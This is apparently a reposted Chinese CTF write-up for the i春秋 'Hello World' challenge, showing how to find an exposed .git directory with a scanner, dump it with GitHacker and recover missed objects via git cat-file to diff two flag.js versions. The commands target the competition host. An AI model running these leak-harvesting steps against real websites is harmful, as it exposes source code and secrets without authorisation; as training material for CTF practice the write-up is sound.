i春秋 第二屆春秋歡樂賽 Hello World


使用掃描工具掃描

python3 dirmap.py -i http://106.75.72.168:9999/ -lcf

發現存在/.git/文件

 

 

 

 

 

 使用GitHacker獲取泄露的信息

python GitHacker.py http://106.75.72.168:9999/.git/

 

 

 

 

查看flag.js文件

cat flag.js

發現是一襲混淆的代碼

 

 

 

重新審視賽題

獲取遺漏的object

本題的考點原意是.git/logs/HEAD文件的利用,而githack並沒有對其中的hash提取,因此遺漏了部分的object

這里使用JGitHack是可以獲取到這些遺漏的object(這里不知道為什么我在windows10上無法正常使用)

 

 

 

 

手工提取object

這里使用git的底層命令,cat-file和ls-tree

cat-file

發現b5dfb5846ad5a81ebf6104d5230728cbf48d653b與9ee4dcc90211b7c2dc3e5639a0296aecb730b48c的文件名相同但是hash不同

root@bogon:#git cat-file -p 887746652d1084c47682b6e1b46bbc37c9315663
d1084c47682b6e1b46bbc37c9315663
tree b5dfb5846ad5a81ebf6104d5230728cbf48d653b
author yichinzhu <787954349@qq.com> 1494432951 +0800
committer yichinzhu <787954349@qq.com> 1494432951 +0800

finish

 

root@bogon:#git cat-file -p 09e053a355059e89b4367024578c477e022ac6d6
tree 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c
parent 887746652d1084c47682b6e1b46bbc37c9315663
author yichinzhu <787954349@qq.com> 1494434367 +0800
committer yichinzhu <787954349@qq.com> 1494434367 +0800

the dev branch is for developing

 

root@bogon:#git cat-file -p b5dfb5846ad5a81ebf6104d5230728cbf48d653b
100644 blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45    flag.js
100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c    flag.php
100644 blob b87380749e1c45195483373cc0061547f344900c    index.php

 

root@bogon:#git cat-file -p 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c
100644 blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8    flag.js
100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c    flag.php
100644 blob b87380749e1c45195483373cc0061547f344900c    index.php

 

root@bogon:#git cat-file -p b87380749e1c45195483373cc0061547f344900c
<html>
<head>
<title>
</title>
</head>
<script src="flag.xmas.js"></script>
<h1>Hello, World!</h1>

 

ls-tree

root@bogon:#git ls-tree b5dfb5846ad5a81ebf6104d5230728cbf48d653b
100644 blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45    flag.js
100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c    flag.php
100644 blob b87380749e1c45195483373cc0061547f344900c    index.php

root@bogon:#git ls-tree 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c
100644 blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8    flag.js
100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c    flag.php
100644 blob b87380749e1c45195483373cc0061547f344900c    index.php

 

下載兩個hash不同的文件

因為hash不同代表這兩個文件肯定被修改過,所以下載下來查看有哪些部分被修改

使用命令git cat-file

root@bogon:#git cat-file blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 > f2b45f1.js
root@bogon:#git cat-file blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 > 04bb09b.js

 

 

對比兩個文件

發現改變的地方就是flag,鏈接起來提交即可

 

 

 

 

 

 

 

 

TIPS

如果你使用Git_Extract可以直接提取到兩個js文件

python git_extract.py http://106.75.72.168:9999/.git/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM